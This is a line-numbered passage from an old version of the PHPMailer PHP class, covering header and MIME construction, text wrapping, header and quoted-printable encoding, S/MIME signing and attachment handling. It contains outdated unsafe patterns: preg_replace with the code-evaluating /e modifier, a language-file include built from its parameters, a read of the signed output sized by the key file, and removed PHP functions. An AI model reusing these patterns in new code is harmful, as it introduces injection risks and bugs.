  1902.   /**
  1903.    * Sets the language for all class error messages.  Returns false
  1904.    * if it cannot load the language file.  The default language type
  1905.    * is English.
  1906.    * @param string $lang_type Type of language (e.g. Portuguese: "br")
  1907.    * @param string $lang_path Path to the language file directory
  1908.    * @access public
  1909.    * @return bool
  1910.    */
  1911.   function SetLanguage($lang_type, $lang_path = 'language/') {
  1912.     if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  1913.       include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  1914.     } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  1915.       include($lang_path.'phpmailer.lang-en.php');
  1916.     } else {
  1917.       $this->SetError('Could not load language file');
  1918.       return false;
  1919.     }
  1920.     $this->language = $PHPMAILER_LANG;
  1921.  
  1922.     return true;
  1923.   }
  1924.  
  1925.   /////////////////////////////////////////////////
  1926.   // METHODS, MESSAGE CREATION
  1927.   /////////////////////////////////////////////////
  1928.  
  1929.   /**
  1930.    * Creates recipient headers.
  1931.    * @access private
  1932.    * @return string
  1933.    */
  1934.   function AddrAppend($type, $addr) {
  1935.     $addr_str = $type . ': ';
  1936.     $addr_str .= $this->AddrFormat($addr[0]);
  1937.     if(count($addr) > 1) {
  1938.       for($i = 1; $i < count($addr); $i++) {
  1939.         $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  1940.       }
  1941.     }
  1942.     $addr_str .= $this->LE;
  1943.  
  1944.     return $addr_str;
  1945.   }
  1946.  
  1947.   /**
  1948.    * Formats an address correctly.
  1949.    * @access private
  1950.    * @return string
  1951.    */
  1952.   function AddrFormat($addr) {
  1953.     if(empty($addr[1])) {
  1954.       $formatted = $this->SecureHeader($addr[0]);
  1955.     } else {
  1956.       $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  1957.     }
  1958.  
  1959.     return $formatted;
  1960.   }
  1961.  
  1962.   /**
  1963.    * Wraps message for use with mailers that do not
  1964.    * automatically perform wrapping and for quoted-printable.
  1965.    * Original written by philippe.
  1966.    * @access private
  1967.    * @return string
  1968.    */
  1969.   function WrapText($message, $length, $qp_mode = false) {
  1970.     $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  1971.     // If utf-8 encoding is used, we will need to make sure we don't
  1972.     // split multibyte characters when we wrap
  1973.     $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  1974.  
  1975.     $message = $this->FixEOL($message);
  1976.     if (substr($message, -1) == $this->LE) {
  1977.       $message = substr($message, 0, -1);
  1978.     }
  1979.  
  1980.     $line = explode($this->LE, $message);
  1981.     $message = '';
  1982.     for ($i=0 ;$i < count($line); $i++) {
  1983.       $line_part = explode(' ', $line[$i]);
  1984.       $buf = '';
  1985.       for ($e = 0; $e<count($line_part); $e++) {
  1986.         $word = $line_part[$e];
  1987.         if ($qp_mode and (strlen($word) > $length)) {
  1988.           $space_left = $length - strlen($buf) - 1;
  1989.           if ($e != 0) {
  1990.             if ($space_left > 20) {
  1991.               $len = $space_left;
  1992.               if ($is_utf8) {
  1993.                 $len = $this->UTF8CharBoundary($word, $len);
  1994.               } elseif (substr($word, $len - 1, 1) == "=") {
  1995.                 $len--;
  1996.               } elseif (substr($word, $len - 2, 1) == "=") {
  1997.                 $len -= 2;
  1998.               }
  1999.               $part = substr($word, 0, $len);
  2000.               $word = substr($word, $len);
  2001.               $buf .= ' ' . $part;
  2002.               $message .= $buf . sprintf("=%s", $this->LE);
  2003.             } else {
  2004.               $message .= $buf . $soft_break;
  2005.             }
  2006.             $buf = '';
  2007.           }
  2008.           while (strlen($word) > 0) {
  2009.             $len = $length;
  2010.             if ($is_utf8) {
  2011.               $len = $this->UTF8CharBoundary($word, $len);
  2012.             } elseif (substr($word, $len - 1, 1) == "=") {
  2013.               $len--;
  2014.             } elseif (substr($word, $len - 2, 1) == "=") {
  2015.               $len -= 2;
  2016.             }
  2017.             $part = substr($word, 0, $len);
  2018.             $word = substr($word, $len);
  2019.  
  2020.             if (strlen($word) > 0) {
  2021.               $message .= $part . sprintf("=%s", $this->LE);
  2022.             } else {
  2023.               $buf = $part;
  2024.             }
  2025.           }
  2026.         } else {
  2027.           $buf_o = $buf;
  2028.           $buf .= ($e == 0) ? $word : (' ' . $word);
  2029.  
  2030.           if (strlen($buf) > $length and $buf_o != '') {
  2031.             $message .= $buf_o . $soft_break;
  2032.             $buf = $word;
  2033.           }
  2034.         }
  2035.       }
  2036.       $message .= $buf . $this->LE;
  2037.     }
  2038.  
  2039.     return $message;
  2040.   }
  2041.  
  2042.   /**
  2043.    * Finds last character boundary prior to maxLength in a utf-8
  2044.    * quoted (printable) encoded string.
  2045.    * Original written by Colin Brown.
  2046.    * @access private
  2047.    * @param string $encodedText utf-8 QP text
  2048.    * @param int    $maxLength   find last character boundary prior to this length
  2049.    * @return int
  2050.    */
  2051.   function UTF8CharBoundary($encodedText, $maxLength) {
  2052.     $foundSplitPos = false;
  2053.     $lookBack = 3;
  2054.     while (!$foundSplitPos) {
  2055.       $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2056.       $encodedCharPos = strpos($lastChunk, "=");
  2057.       if ($encodedCharPos !== false) {
  2058.         // Found start of encoded character byte within $lookBack block.
  2059.         // Check the encoded byte value (the 2 chars after the '=')
  2060.         $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2061.         $dec = hexdec($hex);
  2062.         if ($dec < 128) { // Single byte character.
  2063.           // If the encoded char was found at pos 0, it will fit
  2064.           // otherwise reduce maxLength to start of the encoded char
  2065.           $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2066.           $maxLength - ($lookBack - $encodedCharPos);
  2067.           $foundSplitPos = true;
  2068.         } elseif ($dec >= 192) { // First byte of a multi byte character
  2069.           // Reduce maxLength to split at start of character
  2070.           $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2071.           $foundSplitPos = true;
  2072.         } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2073.           $lookBack += 3;
  2074.         }
  2075.       } else {
  2076.         // No encoded character found
  2077.         $foundSplitPos = true;
  2078.       }
  2079.     }
  2080.     return $maxLength;
  2081.   }
  2082.  
  2083.   /**
  2084.    * Set the body wrapping.
  2085.    * @access private
  2086.    * @return void
  2087.    */
  2088.   function SetWordWrap() {
  2089.     if($this->WordWrap < 1) {
  2090.       return;
  2091.     }
  2092.  
  2093.     switch($this->message_type) {
  2094.       case 'alt':
  2095.         /* fall through */
  2096.       case 'alt_attachments':
  2097.         $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2098.         break;
  2099.       default:
  2100.         $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2101.         break;
  2102.     }
  2103.   }
  2104.  
  2105.   /**
  2106.    * Assembles message header.
  2107.    * @access private
  2108.    * @return string
  2109.    */
  2110.   function CreateHeader() {
  2111.     $result = '';
  2112.  
  2113.     /* Set the boundaries */
  2114.     $uniq_id = md5(uniqid(time()));
  2115.     $this->boundary[1] = 'b1_' . $uniq_id;
  2116.     $this->boundary[2] = 'b2_' . $uniq_id;
  2117.  
  2118.     $result .= $this->HeaderLine('Date', $this->RFCDate());
  2119.     if($this->Sender == '') {
  2120.       $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2121.     } else {
  2122.       $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2123.     }
  2124.  
  2125.     /* To be created automatically by mail() */
  2126.     if($this->Mailer != 'mail') {
  2127.       if(count($this->to) > 0) {
  2128.         $result .= $this->AddrAppend('To', $this->to);
  2129.       } elseif (count($this->cc) == 0) {
  2130.         $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2131.       }
  2132.       if(count($this->cc) > 0) {
  2133.         $result .= $this->AddrAppend('Cc', $this->cc);
  2134.       }
  2135.     }
  2136.  
  2137.     $from = array();
  2138.     $from[0][0] = trim($this->From);
  2139.     $from[0][1] = $this->FromName;
  2140.     $result .= $this->AddrAppend('From', $from);
  2141.  
  2142.     /* sendmail and mail() extract Cc from the header before sending */
  2143.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2144.       $result .= $this->AddrAppend('Cc', $this->cc);
  2145.     }
  2146.  
  2147.     /* sendmail and mail() extract Bcc from the header before sending */
  2148.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2149.       $result .= $this->AddrAppend('Bcc', $this->bcc);
  2150.     }
  2151.  
  2152.     if(count($this->ReplyTo) > 0) {
  2153.       $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2154.     }
  2155.  
  2156.     /* mail() sets the subject itself */
  2157.     if($this->Mailer != 'mail') {
  2158.       $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2159.     }
  2160.  
  2161.     if($this->MessageID != '') {
  2162.       $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2163.     } else {
  2164.       $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2165.     }
  2166.     $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2167.     $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
  2168.  
  2169.     if($this->ConfirmReadingTo != '') {
  2170.       $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2171.     }
  2172.  
  2173.     // Add custom headers
  2174.     for($index = 0; $index < count($this->CustomHeader); $index++) {
  2175.       $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2176.     }
  2177.     if (!$this->sign_key_file) {
  2178.       $result .= $this->HeaderLine('MIME-Version', '1.0');
  2179.       $result .= $this->GetMailMIME();
  2180.     }
  2181.  
  2182.     return $result;
  2183.   }
  2184.  
  2185.   /**
  2186.    * Returns the message MIME.
  2187.    * @access private
  2188.    * @return string
  2189.    */
  2190.   function GetMailMIME() {
  2191.     $result = '';
  2192.     switch($this->message_type) {
  2193.       case 'plain':
  2194.         $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2195.         $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2196.         break;
  2197.       case 'attachments':
  2198.         /* fall through */
  2199.       case 'alt_attachments':
  2200.         if($this->InlineImageExists()){
  2201.           $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2202.         } else {
  2203.           $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2204.           $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2205.         }
  2206.         break;
  2207.       case 'alt':
  2208.         $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2209.         $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2210.         break;
  2211.     }
  2212.  
  2213.     if($this->Mailer != 'mail') {
  2214.       $result .= $this->LE.$this->LE;
  2215.     }
  2216.  
  2217.     return $result;
  2218.   }
  2219.  
  2220.   /**
  2221.    * Assembles the message body.  Returns an empty string on failure.
  2222.    * @access private
  2223.    * @return string
  2224.    */
  2225.   function CreateBody() {
  2226.     $result = '';
  2227.     if ($this->sign_key_file) {
  2228.       $result .= $this->GetMailMIME();
  2229.     }
  2230.  
  2231.     $this->SetWordWrap();
  2232.  
  2233.     switch($this->message_type) {
  2234.       case 'alt':
  2235.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2236.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2237.         $result .= $this->LE.$this->LE;
  2238.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2239.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2240.         $result .= $this->LE.$this->LE;
  2241.         $result .= $this->EndBoundary($this->boundary[1]);
  2242.         break;
  2243.       case 'plain':
  2244.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2245.         break;
  2246.       case 'attachments':
  2247.         $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2248.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2249.         $result .= $this->LE;
  2250.         $result .= $this->AttachAll();
  2251.         break;
  2252.       case 'alt_attachments':
  2253.         $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2254.         $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2255.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2256.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2257.         $result .= $this->LE.$this->LE;
  2258.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2259.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2260.         $result .= $this->LE.$this->LE;
  2261.         $result .= $this->EndBoundary($this->boundary[2]);
  2262.         $result .= $this->AttachAll();
  2263.         break;
  2264.     }
  2265.  
  2266.     if($this->IsError()) {
  2267.       $result = '';
  2268.     } else if ($this->sign_key_file) {
  2269.       $file = tempnam("", "mail");
  2270.       $fp = fopen($file, "w");
  2271.       fwrite($fp, $result);
  2272.       fclose($fp);
  2273.       $signed = tempnam("", "signed");
  2274.  
  2275.       if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2276.         $fp = fopen($signed, "r");
  2277.         $result = fread($fp, filesize($this->sign_key_file));
  2278.         fclose($fp);
  2279.       } else {
  2280.         $this->SetError($this->Lang("signing").openssl_error_string());
  2281.         $result = '';
  2282.       }
  2283.  
  2284.       unlink($file);
  2285.       unlink($signed);
  2286.     }
  2287.  
  2288.     return $result;
  2289.   }
  2290.  
  2291.   /**
  2292.    * Returns the start of a message boundary.
  2293.    * @access private
  2294.    */
  2295.   function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2296.     $result = '';
  2297.     if($charSet == '') {
  2298.       $charSet = $this->CharSet;
  2299.     }
  2300.     if($contentType == '') {
  2301.       $contentType = $this->ContentType;
  2302.     }
  2303.     if($encoding == '') {
  2304.       $encoding = $this->Encoding;
  2305.     }
  2306.     $result .= $this->TextLine('--' . $boundary);
  2307.     $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2308.     $result .= $this->LE;
  2309.     $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2310.     $result .= $this->LE;
  2311.  
  2312.     return $result;
  2313.   }
  2314.  
  2315.   /**
  2316.    * Returns the end of a message boundary.
  2317.    * @access private
  2318.    */
  2319.   function EndBoundary($boundary) {
  2320.     return $this->LE . '--' . $boundary . '--' . $this->LE;
  2321.   }
  2322.  
  2323.   /**
  2324.    * Sets the message type.
  2325.    * @access private
  2326.    * @return void
  2327.    */
  2328.   function SetMessageType() {
  2329.     if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2330.       $this->message_type = 'plain';
  2331.     } else {
  2332.       if(count($this->attachment) > 0) {
  2333.         $this->message_type = 'attachments';
  2334.       }
  2335.       if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2336.         $this->message_type = 'alt';
  2337.       }
  2338.       if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2339.         $this->message_type = 'alt_attachments';
  2340.       }
  2341.     }
  2342.   }
  2343.  
  2344.   /* Returns a formatted header line.
  2345.    * @access private
  2346.    * @return string
  2347.    */
  2348.   function HeaderLine($name, $value) {
  2349.     return $name . ': ' . $value . $this->LE;
  2350.   }
  2351.  
  2352.   /**
  2353.    * Returns a formatted mail line.
  2354.    * @access private
  2355.    * @return string
  2356.    */
  2357.   function TextLine($value) {
  2358.     return $value . $this->LE;
  2359.   }
  2360.  
  2361.   /////////////////////////////////////////////////
  2362.   // CLASS METHODS, ATTACHMENTS
  2363.   /////////////////////////////////////////////////
  2364.  
  2365.   /**
  2366.    * Adds an attachment from a path on the filesystem.
  2367.    * Returns false if the file could not be found
  2368.    * or accessed.
  2369.    * @param string $path Path to the attachment.
  2370.    * @param string $name Overrides the attachment name.
  2371.    * @param string $encoding File encoding (see $Encoding).
  2372.    * @param string $type File extension (MIME) type.
  2373.    * @return bool
  2374.    */
  2375.   function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2376.     if(!@is_file($path)) {
  2377.       $this->SetError($this->Lang('file_access') . $path);
  2378.       return false;
  2379.     }
  2380.  
  2381.     $filename = basename($path);
  2382.     if($name == '') {
  2383.       $name = $filename;
  2384.     }
  2385.  
  2386.     $cur = count($this->attachment);
  2387.     $this->attachment[$cur][0] = $path;
  2388.     $this->attachment[$cur][1] = $filename;
  2389.     $this->attachment[$cur][2] = $name;
  2390.     $this->attachment[$cur][3] = $encoding;
  2391.     $this->attachment[$cur][4] = $type;
  2392.     $this->attachment[$cur][5] = false; // isStringAttachment
  2393.     $this->attachment[$cur][6] = 'attachment';
  2394.     $this->attachment[$cur][7] = 0;
  2395.  
  2396.     return true;
  2397.   }
  2398.  
  2399.   /**
  2400.    * Attaches all fs, string, and binary attachments to the message.
  2401.    * Returns an empty string on failure.
  2402.    * @access private
  2403.    * @return string
  2404.    */
  2405.   function AttachAll() {
  2406.     /* Return text of body */
  2407.     $mime = array();
  2408.  
  2409.     /* Add all attachments */
  2410.     for($i = 0; $i < count($this->attachment); $i++) {
  2411.       /* Check for string attachment */
  2412.       $bString = $this->attachment[$i][5];
  2413.       if ($bString) {
  2414.         $string = $this->attachment[$i][0];
  2415.       } else {
  2416.         $path = $this->attachment[$i][0];
  2417.       }
  2418.  
  2419.       $filename    = $this->attachment[$i][1];
  2420.       $name        = $this->attachment[$i][2];
  2421.       $encoding    = $this->attachment[$i][3];
  2422.       $type        = $this->attachment[$i][4];
  2423.       $disposition = $this->attachment[$i][6];
  2424.       $cid         = $this->attachment[$i][7];
  2425.  
  2426.       $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2427.       $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2428.       $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2429.  
  2430.       if($disposition == 'inline') {
  2431.         $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2432.       }
  2433.  
  2434.       $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2435.  
  2436.       /* Encode as string attachment */
  2437.       if($bString) {
  2438.         $mime[] = $this->EncodeString($string, $encoding);
  2439.         if($this->IsError()) {
  2440.           return '';
  2441.         }
  2442.         $mime[] = $this->LE.$this->LE;
  2443.       } else {
  2444.         $mime[] = $this->EncodeFile($path, $encoding);
  2445.         if($this->IsError()) {
  2446.           return '';
  2447.         }
  2448.         $mime[] = $this->LE.$this->LE;
  2449.       }
  2450.     }
  2451.  
  2452.     $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2453.  
  2454.     return join('', $mime);
  2455.   }
  2456.  
  2457.   /**
  2458.    * Encodes attachment in requested format.  Returns an
  2459.    * empty string on failure.
  2460.    * @access private
  2461.    * @return string
  2462.    */
  2463.   function EncodeFile ($path, $encoding = 'base64') {
  2464.     if(!@$fd = fopen($path, 'rb')) {
  2465.       $this->SetError($this->Lang('file_open') . $path);
  2466.       return '';
  2467.     }
  2468.     $magic_quotes = get_magic_quotes_runtime();
  2469.     set_magic_quotes_runtime(0);
  2470.     $file_buffer = fread($fd, filesize($path));
  2471.     $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2472.     fclose($fd);
  2473.     set_magic_quotes_runtime($magic_quotes);
  2474.  
  2475.     return $file_buffer;
  2476.   }
  2477.  
  2478.   /**
  2479.    * Encodes string to requested format. Returns an
  2480.    * empty string on failure.
  2481.    * @access private
  2482.    * @return string
  2483.    */
  2484.   function EncodeString ($str, $encoding = 'base64') {
  2485.     $encoded = '';
  2486.     switch(strtolower($encoding)) {
  2487.       case 'base64':
  2488.         /* chunk_split is found in PHP >= 3.0.6 */
  2489.         $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2490.         break;
  2491.       case '7bit':
  2492.       case '8bit':
  2493.         $encoded = $this->FixEOL($str);
  2494.         if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2495.           $encoded .= $this->LE;
  2496.         break;
  2497.       case 'binary':
  2498.         $encoded = $str;
  2499.         break;
  2500.       case 'quoted-printable':
  2501.         $encoded = $this->EncodeQP($str);
  2502.         break;
  2503.       default:
  2504.         $this->SetError($this->Lang('encoding') . $encoding);
  2505.         break;
  2506.     }
  2507.     return $encoded;
  2508.   }
  2509.  
  2510.   /**
  2511.    * Encode a header string to best of Q, B, quoted or none.
  2512.    * @access private
  2513.    * @return string
  2514.    */
  2515.   function EncodeHeader ($str, $position = 'text') {
  2516.     $x = 0;
  2517.  
  2518.     switch (strtolower($position)) {
  2519.       case 'phrase':
  2520.         if (!preg_match('/[\200-\377]/', $str)) {
  2521.           /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2522.           $encoded = addcslashes($str, "\0..\37\177\\\"");
  2523.           if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2524.             return ($encoded);
  2525.           } else {
  2526.             return ("\"$encoded\"");
  2527.           }
  2528.         }
  2529.         $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2530.         break;
  2531.       case 'comment':
  2532.         $x = preg_match_all('/[()"]/', $str, $matches);
  2533.         /* Fall-through */
  2534.       case 'text':
  2535.       default:
  2536.         $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2537.         break;
  2538.     }
  2539.  
  2540.     if ($x == 0) {
  2541.       return ($str);
  2542.     }
  2543.  
  2544.     $maxlen = 75 - 7 - strlen($this->CharSet);
  2545.     /* Try to select the encoding which should produce the shortest output */
  2546.     if (strlen($str)/3 < $x) {
  2547.       $encoding = 'B';
  2548.       if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2549.      // Use a custom function which correctly encodes and wraps long
  2550.      // multibyte strings without breaking lines within a character
  2551.         $encoded = $this->Base64EncodeWrapMB($str);
  2552.       } else {
  2553.         $encoded = base64_encode($str);
  2554.         $maxlen -= $maxlen % 4;
  2555.         $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2556.       }
  2557.     } else {
  2558.       $encoding = 'Q';
  2559.       $encoded = $this->EncodeQ($str, $position);
  2560.       $encoded = $this->WrapText($encoded, $maxlen, true);
  2561.       $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2562.     }
  2563.  
  2564.     $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2565.     $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2566.  
  2567.     return $encoded;
  2568.   }
  2569.  
  2570.   /**
  2571.    * Checks if a string contains multibyte characters.
  2572.    * @access private
  2573.    * @param string $str multi-byte text to wrap encode
  2574.    * @return bool
  2575.    */
  2576.   function HasMultiBytes($str) {
  2577.     if (function_exists('mb_strlen')) {
  2578.       return (strlen($str) > mb_strlen($str, $this->CharSet));
  2579.     } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2580.       return False;
  2581.     }
  2582.   }
  2583.  
  2584.   /**
  2585.    * Correctly encodes and wraps long multibyte strings for mail headers
  2586.    * without breaking lines within a character.
  2587.    * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2588.    * @access private
  2589.    * @param string $str multi-byte text to wrap encode
  2590.    * @return string
  2591.    */
  2592.   function Base64EncodeWrapMB($str) {
  2593.     $start = "=?".$this->CharSet."?B?";
  2594.     $end = "?=";
  2595.     $encoded = "";
  2596.  
  2597.     $mb_length = mb_strlen($str, $this->CharSet);
  2598.     // Each line must have length <= 75, including $start and $end
  2599.     $length = 75 - strlen($start) - strlen($end);
  2600.     // Average multi-byte ratio
  2601.     $ratio = $mb_length / strlen($str);
  2602.     // Base64 has a 4:3 ratio
  2603.     $offset = $avgLength = floor($length * $ratio * .75);
  2604.  
  2605.     for ($i = 0; $i < $mb_length; $i += $offset) {
  2606.       $lookBack = 0;
  2607.  
  2608.       do {
  2609.         $offset = $avgLength - $lookBack;
  2610.         $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2611.         $chunk = base64_encode($chunk);
  2612.         $lookBack++;
  2613.       }
  2614.       while (strlen($chunk) > $length);
  2615.  
  2616.       $encoded .= $chunk . $this->LE;
  2617.     }
  2618.  
  2619.     // Chomp the last linefeed
  2620.     $encoded = substr($encoded, 0, -strlen($this->LE));
  2621.     return $encoded;
  2622.   }
  2623.  
  2624.   /**
  2625.    * Encode string to quoted-printable.
  2626.    * @access private
  2627.    * @return string
  2628.    */
  2629.   function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2630.     $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2631.     $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2632.     $eol = "\r\n";
  2633.     $escape = '=';
  2634.     $output = '';
  2635.     while( list(, $line) = each($lines) ) {
  2636.       $linlen = strlen($line);
  2637.       $newline = '';
  2638.       for($i = 0; $i < $linlen; $i++) {
  2639.         $c = substr( $line, $i, 1 );
  2640.         $dec = ord( $c );
  2641.         if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2642.           $c = '=2E';
  2643.         }
  2644.         if ( $dec == 32 ) {
  2645.           if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2646.             $c = '=20';
  2647.           } else if ( $space_conv ) {
  2648.             $c = '=20';
  2649.           }
  2650.         } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2651.           $h2 = floor($dec/16);
  2652.           $h1 = floor($dec%16);
  2653.           $c = $escape.$hex[$h2].$hex[$h1];
  2654.         }
  2655.         if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2656.           $output .= $newline.$escape.$eol; //  soft line break; " =\r\n" is okay
  2657.           $newline = '';
  2658.           // check if newline first character will be point or not
  2659.           if ( $dec == 46 ) {
  2660.             $c = '=2E';
  2661.           }
  2662.         }
  2663.         $newline .= $c;
  2664.       } // end of for
  2665.       $output .= $newline.$eol;
  2666.     } // end of while
  2667.     return trim($output);
  2668.   }
  2669.  
  2670.   /**
  2671.    * Encode string to q encoding.
  2672.    * @access private
  2673.    * @return string
  2674.    */
  2675.   function EncodeQ ($str, $position = 'text') {
  2676.     /* There should not be any EOL in the string */
  2677.     $encoded = preg_replace("[\r\n]", '', $str);
  2678.  
  2679.     switch (strtolower($position)) {
  2680.       case 'phrase':
  2681.         $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2682.         break;
  2683.       case 'comment':
  2684.         $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2685.       case 'text':
  2686.       default:
  2687.         /* Replace every high ascii, control =, ? and _ characters */
  2688.         $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2689.               "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2690.         break;
  2691.     }
  2692.  
  2693.     /* Replace every spaces to _ (more readable than =20) */
  2694.     $encoded = str_replace(' ', '_', $encoded);
  2695.  
  2696.     return $encoded;
  2697.   }
  2698.  
  2699.   /**
  2700.    * Adds a string or binary attachment (non-filesystem) to the list.
  2701.    * This method can be used to attach ascii or binary data,
  2702.    * such as a BLOB record from a database.
  2703.    * @param string $string String attachment data.
  2704.    * @param string $filename Name of the attachment.
  2705.    * @param string $encoding File encoding (see $Encoding).
  2706.    * @param string $type File extension (MIME) type.
  2707.    * @return void
  2708.    */
  2709.   function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2710.     /* Append to $attachment array */
  2711.     $cur = count($this->attachment);
  2712.     $this->attachment[$cur][0] = $string;
  2713.     $this->attachment[$cur][1] = $filename;
  2714.     $this->attachment[$cur][2] = $filename;
  2715.     $this->attachment[$cur][3] = $encoding;
  2716.     $this->attachment[$cur][4] = $type;
  2717.     $this->attachment[$cur][5] = true; // isString
  2718.     $this->attachment[$cur][6] = 'attachment';
  2719.     $this->attachment[$cur][7] = 0;
  2720.   }
  2721.  
  2722.   /**
  2723.    * Adds an embedded attachment.  This can include images, sounds, and
  2724.    * just about any other document.  Make sure to set the $type to an
  2725.    * image type.  For JPEG images use "image/jpeg" and for GIF images
  2726.    * use "image/gif".
  2727.    * @param string $path Path to the attachment.
  2728.    * @param string $cid Content ID of the attachment.  Use this to identify
  2729.    *        the Id for accessing the image in an HTML form.
  2730.    * @param string $name Overrides the attachment name.
  2731.    * @param string $encoding File encoding (see $Encoding).
  2732.    * @param string $type File extension (MIME) type.
  2733.    * @return bool
  2734.    */
  2735.   function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2736.  
  2737.     if(!@is_file($path)) {
  2738.       $this->SetError($this->Lang('file_access') . $path);
  2739.       return false;
  2740.     }
  2741.  
  2742.     $filename = basename($path);
  2743.     if($name == '') {
  2744.       $name = $filename;
  2745.     }
  2746.  
  2747.     /* Append to $attachment array */
  2748.     $cur = count($this->attachment);
